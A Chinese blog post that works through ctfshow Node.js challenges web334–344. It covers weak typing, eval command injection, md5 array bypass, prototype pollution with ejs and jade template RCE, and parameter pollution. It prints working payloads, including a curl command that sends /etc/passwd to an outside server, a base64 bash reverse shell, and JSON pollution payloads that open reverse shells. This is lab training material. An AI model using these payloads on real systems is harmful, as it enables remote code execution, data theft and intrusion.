Nodejs的安全学习

已于 2022-04-19 21:58:55 修改
阅读量2.1k 收藏 2
点赞数 1
分类专栏： CTF训练日记 文章标签： 安全 学习 javascript
于 2022-02-21 21:16:06 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/unexpectedthing/article/details/123056177
版权

文章目录

Nodejs

Nodejs的文档

http://nodejs.cn/learn

弱类型

大小写比较

跟php比较相似

console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log("ad">"v") //false
console.log('asd'>1); //false

总结：数字与字符串比较时：会优先将纯数字型字符串转为数字之后再进行比较；

字符串与字符串比较时：会将字符串的第一个字符转为ASCII码之后再进行比较；

而非数字型字符串与任何数字进行比较都是false。

数组的比较：

console.log([]==[]); //false
console.log([]>[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false

**总结：**空数组之间比较永远为false，

数组与非数值型字符串比较，数组永远小于非数值型字符串；

数组与数值型字符串比较，取第一个之后按前面总结的方法进行比较。

还有一些比较特别的相等比较：

console.log(null==undefined) // 输出：true
console.log(null===undefined) // 输出：false
console.log(NaN==NaN)  // 输出：false
console.log(NaN===NaN)  // 输出：false

js大小写绕过

大小写特性(P神)

ctfshow web334

看zip中的源码

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

其中

toUpperCase()是javascript中将小写转换成大写的函数。
toLowerCase()是javascript中将大写转换成小写的函数
除此之外
在Character.toUpperCase()函数中，字符ı会转变为I，字符ſ会变为S。
在Character.toLowerCase()函数中，字符İ会转变为i，字符K会转变为k。

所以直接payload（小写绕过）

输入：ctfshow和123456

ES6模板字符串

我们可以使用反引号替代括号执行函数，如:

alert`test!!`

可以用反引号替代单引号双引号，可以在反引号内插入变量，如：

var fruit = `apple`;
console.log`i like ${fruit} very much`;

事实上，模板字符串是将我们的字符串作为参数传入函数中，而该参数是一个数组，该数组会在遇到${}时将字符串进行分割，具体为下：

["i like ", " very much", raw: Array(2)]
0: "i like "
1: " very much"
length: 2
raw: (2) ["i like ", " very much"]
__proto__: Array(0)

所以有时使用反引号执行会失败，所以如下是无法执行的：

eval`alert(2)`

命令执行

ctfshow web335

F12中有个eval，想到了通过eval来命令执行

eval() 函数可计算某个字符串，并执行其中的的 JavaScript 代码。和PHP中eval函数一样，如果传递到函数中的参数可控并且没有经过严格的过滤时，就会导致漏洞的出现。

在Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

例如，

弹计算器:

/eval?q=require('child_process').exec('calc');

读取文件

/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
这个是将执行的命令，curl到自己的服务器上，显示出来。

反弹shell

/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果，直接调用会报错。

注意：BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

所以这个题的payload

这个地方的execSync和exec一样的，应该只是版本不同，就相当于readfile和readfileSync是相同的

/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()

还可以利用spawnSync,跟exec一样的，都用于开一个子进程执行指定命令。

但是也有不同点，可以看看这个

require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

如果require被禁用了，也可以利用这个来引入模块

global.process.mainModule.constructor._load('child_process').spwanSync('ls',['.']).toString()

总结

加载模板：

require()

global.process.mainModule.constructor._load()

执行命令：

execSync()

spawnSync()

其他的执行语句

eval("require('child_process').exec('calc');");
setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

ctfshow web336

禁用了exec，所以我们可以利用spawn

require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

还可以利用文件操作的方式读取文件内容

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径，且和命令行参数所指定的文件名不一定相同。 如果在模块中，返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。

/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')         //过滤exec|load
/?eval=require('child_process')['exe'+'cSync']('ls').toString()           //+号绕过

还有这样

先利用readdirSync读取目录，然后readfileSync读取文件内容。

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

数组绕过

ctfshow web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

就是考md5绕过

payload

?a[x]=1&b[x]=2

原型链污染

概念介绍

关于继承和原型链的介绍

Nodejs常见的漏洞学习和总结

ctfshow web338

看源码

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

其中copy函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

就是一个典型的merge类型

直接上payload

{"__proto__":{"ctfshow":"36dboy"}}

因为原型污染，secret对象直接继承了Object.prototype，所以就导致了secert.ctfshow==='36dboy'

web339

login.js也变了

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

这儿多了个api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');


// var query = "return global.process.mainModule.constructor._load('child_process').execSync('whoami');";
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});

});
module.exports = router;

我们可以通过login.js的copy实现原型链污染，覆盖query的值，let user = {}的原型对象是Object.prototype

在api.js中的Function的query变量是没有的，就需要去原型链找，Function.prototype ---> Object.prototype ,就造成原型链污染了。

非预期的payload、

ejs rce具体的来看下大佬写的文章https://xz.aliyun.com/t/7184

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}

{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"xxx\"); //"}

先将payload在login界面的post-body部分

post访问url/api就可以反弹shell了(一定要post)

image-20220419210414069

web340

不同之处

var flag='flag_here';
var user = new function(){
  this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
  };
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
  res.end(flag);
}

image-20220419210549816

需要上跳两级才能到object

所有payload

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

web341

预期解ejs rce
payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}

然后访问界面

web342，343

jade原型链污染

参考链接https://xz.aliyun.com/t/7025

payload

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/810>&1\"')"}}}

{"__proto__":{"__proto__": {"type":"Code","compileDebug":1,"self":1,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('whoami', function(){} );jade_debug.unshift(new jade.DebugItem(0"}}}

{"__proto__":{"__proto__": {"type":"MixinBlock","compileDebug":1,"self":1,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('whoami', function(){} );//"}}}

{"__proto__":{"__proto__": {"type":"Doctype","compileDebug":1,"self":1,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('whoami', function(){} );//"}}}

{"__proto__":{"__proto__": {"type":"Doctype","compileDebug":1,"self":1,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('calc');//"}}}

web344

router.get('/', function(req, res, next) {
 res.type('html');
 var flag = 'flag_here';
 if(req.url.match(/8c|2c|\,/ig)){
 	res.end('where is flag :)');
 }
 var query = JSON.parse(req.query.query);
 if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
 	res.end(flag);
 }else{
 	res.end('where is flag. :)');
 }

});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了，所以需要绕过。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来，为什么把ctfshow中的c编码呢，因为双引号的url编码是%22再和c连接起来就是%22c，会匹配到正则表达式。

VM沙盒逃逸

知识点

沙箱逃逸

CTF题目

[GKCTF2020]EZ 三剑客

参考文献

https://xz.aliyun.com/t/7184#toc-8

http://www.yongsheng.site/2021/11/16/ctfshow%20nodejs/

Z3eyOnd
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
nodejs-learning-guide：Nodejs学习笔记以及经验总结，公众号“程序猿小卡”
02-03
Nodejs学习笔记 阿里CBU前端团队招人，无论是serverless，跨端，WEB IDE，工程化，智能化，构建还是直播，在CBU前端团队都能够找到适合你的技术方向。感兴趣的小伙伴可以加QQ群沟通（1126560208） Nodejs学习过程中的一些总结，可查看完整版。欢迎关注公众号。 基础：核心模块常用API的使用，注意事项。 进阶：项目实战经验总结，包括常用框架，库介绍，从编码到服务端部署运维。 目录如下 错误处理 全局对象 模块机制 命令行设计-repl 定时器 安全加密-tls 进阶使用 express进阶：多模板引擎支持 基于express + XHR的跨域资源请求 微信公众号
详解nodejs 文本操作模块-fs模块（一）
12-23
JS的安全性问题，就决定了JS想要取操作数据库操作文件是不可实现的，而Nodejs作为服务端的JS，如果依然不能操作文件，那么又如何称之为服务端语言呢，所以在Nodejs中，提供了一个fs（File System）模块，以实现文件及目录的读写操作。 写在前面 Nodejs的一大优势就在于，支持异步调用，不管是在读取数据库，还是在读取文件时，都可以使用异步的方式进行处理，这样就可以处理高并发的情况，从本篇开始，开始对Nodejs的fs模块中，一些重要的API，结合源码，进行一些说明学习。 fs模块支持的属性和方法 fs模块是一个很重要的模块，也支持非常多的属性和方法，可以直接在nodejs中
CTF题型 nodejs(1) 命令执行绕过&典型例题
最新发布
qq_39947980的博客
03-26 1149
参考：https://www.anquanke.com/post/id/237032。命令并等待 3 秒，但你不会看到任何输出或结果，因为你没有处理这个返回的对象。F12获取的是浏览器解析后的源代码，可能会包含一些动态生成的内容。在第四个字符发现非法字符，但是slice是从第四的元素开始替换。动态的一种绕过某些限制（比如模块缓存或包管理器的限制）的方法。这里是对字符操作，就是 被引号或者反引号包裹起来的字符。中的各个函数方法，再通过数组下标就可以拿到。将结果输出就可以了（就可以看到转圈）
Awesome-NodeJS:精选的NodeJS资源精选:writing_hand:
05-08
名称 路线 资源 / :two_hearts: 很棒的NodeJS :two_hearts: :writing_hand: :writing_hand: 精选的最佳NodeJS资源集合 虽然NodeJS是初学者，但许多初学者都面临着从何处获取帮助，资源，技巧和窍门的问题。 只需付出一点努力就可以减少这种情况，用户可以轻松找到与laravel相关的所有资源，例如书籍，文章，最新新闻，安全修复程序，备忘单等等。 :anchor: 如果您发现有关NodeJS的丰富资源，则请求请求最受欢迎 受启发 :thumbs_up: 目录 命令行工具 路由器 表格验证 克龙 讲解 图书 影片 截屏 学习课程 性能测试 提示与技巧 构架 Web开发框架 Restify- Node.js REST开发的未来（ NodeJS中的其余API开发） x2-与NPM一起发布的模块集合，旨在提供一个完整的工具集，用于创建暴露RESTful API并由SQL数据库支持的后端应用程序。 TotalJS Moleculer微服务
shell脚本spawn_如何使用child_process.spawn将Python / Ruby / PHP Shell脚本与Node.js集成
cumi6497的博客
08-03 1431
shell脚本spawnThere are occasions when running a Python/Ruby/PHP shell script from Node.js is necessary. This post looks at best practices around leveraging child_process.spawn to encapsulate this call ...
nodejs安全
qq_35264936的博客
07-11 763
nodejs安全 sql注入：窃取数据库内容 xss攻击： 窃取前端的cookie内容 密码加密：保障用户信息安全 server端攻击方式非常多，预防手段也多 通过webserver（nodejs）层面预防的 有些攻击需要硬件和服务来支持（需要op支持）如 DDOS sql注入 最原始最简单的攻击，从web2.0就有了sql注入攻击 攻击的方法： 输入一个sql片段，最终拼成一段攻击代码 执...
ctfshow web入门 nodejs 334-341(更新中)
m0_64815693的博客
04-11 1385
ctfshow web入门 nodejs 334-341（更新中)
ctfshow NodeJs web334-web344 wp
mumuzi的博客
02-06 2312
新年存货快没了QAQ
Ctfshow web入门 nodejs篇 web334-web344
Jay17的博客
07-06 1534
Ctfshow web入门 nodejs篇 web334-web344
ctfshow_web入门_nodejs
qq_62989306的博客
01-21 394
javascript大小写特性、javascript的RCE、javascript变量、javascript原型链污染、ejs rce、jade原型链污染、http参数污染……
Node.js 应用开发详解13 网络安全：常见网络攻击以及防护策略
fegus的博客
09-28 1695
本讲介绍了常见的一些网络攻击方案，其次着重介绍了在 Node.js 中要注意的安全风险问题。网络攻击一般是面试中常被问及的题目，因此我们需要着重学习其原理，其次针对 Node.js 的安全问题则是你在编码过程中非常要注重的，避免在应用 Node.js 的过程中导致企业受到损失。如果你还有其他的一些安全性问题，也可以在本讲下面进行留言，我将和你一起探讨如何解决这些线上安全问题。下一讲我们将介绍一个可以轻松地协助我们来做各种性能提前校验的工具，其次会实践应用该工具融合到我们的框架中。
learning-nodejs:学习目标
05-12
安全 框架 表示 哈皮 考阿 学习GraphQL 什么是GraphQL？ GraphQL 分层的 以产品为中心 强型 客户指定的查询 内省的 GraphQL初学者 查询 变异 模式和类型 验证 执行 路由 验证 分页 快取 目标 使用Node.js和...
Nodejs中crypto模块的安全知识讲解
10-18
本篇文章给大家详细介绍了Nodejs中crypto模块的安全知识的相关内容，需要的朋友跟着小编一下学习参考下吧。
exec函数_Node.js中child_process模块中spawn与exec的异同比较
weixin_39569051的博客
11-23 1085
Node.js基于事件驱动来处理并发，它本身是以单线程模式运行的。Node.js通过child_process开启子进程执行指定程序。主要包括4个异步进程函数(spawn,exec,execFile,fork)和3个同步进程函数(spawnSync,execFileSync,execSync)。一般我们比较常用的是spawn和exec这两个方法。其中异步进程函数spawn是最基本的创建子进程的函数...
CTFSHOW-nodejs
m0_74456293的博客
04-17 472
CTFSHOW-nodejs
nodejs的子进程child_process介绍与说明
qq_14820093的博客
02-02 956
介绍node.js的子进程child_process模块的相关介绍和函数说明
ctfshow Nodejs
weixin_63231007的博客
03-08 615
承接上文nodejs原型链漏洞刷题练习
从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击
ShenZ的博客
08-29 901
nodejs HTTP拆分攻击 nodejs 8.12 Node.js API 文档 当 Node.js 使用 http.get 向特定路径发出HTTP 请求时，发出的请求实际上被定向到了不一样的路径，这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击 原理 Unicode原理 对于不包含主体的请求，Node.js默认使用“latin1”，这是一种单字节编码字符集，不能表示高编号的Unicode字符，例如????这个表情。所以，当我们的请求路径中含有多字节编码的Unico
CTF训练之路2--ctfshow内部赛
unexpectedthing的博客
11-07 6509
文章目录签到登录就有flag出题人不想跟你说话.jpg蓝廋一览无余签退 签到 一进去就是login界面,F12看到有个register.php，说明就是一个二次注入的sql注入题。 所谓二次注入，就是再register中构造sql语句，然后登录login来触发。 找到羽师傅的脚本 import requests import re url_register = "http://7b093e85-e6d5-4784-adab-49ba20992eda.challenge.ctf.show/register.
ctf+nodejs学习
12-13
CTF是一种网络安全技术竞赛，其中包含了各种各样的题目类型，例如密码学、Web安全、二进制漏洞等等。Node.js是一种基于Chrome V8引擎的JavaScript运行环境，它可以使JavaScript在服务器端运行。在CTF比赛中，Node.js可以用于编写Web安全题目，例如利用Node.js的弱类型特性进行类型转换漏洞攻击等。如果你想学习CTF和Node.js，可以参考以下资源： 1. CTF Wiki：https://ctf-wiki.github.io/ctf-wiki/ 2. Node.js官方文档：https://nodejs.org/en/docs/ 3. Node.js安全指南：https://nodesecroadmap.fyi/ 4. Node.js CTF题目库：https://github.com/NodeSecurity/node-ctf-archive 5. 《Node.js安全编码指南》：https://www.gitbook.com/book/chrisdickinson/node-security/details

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值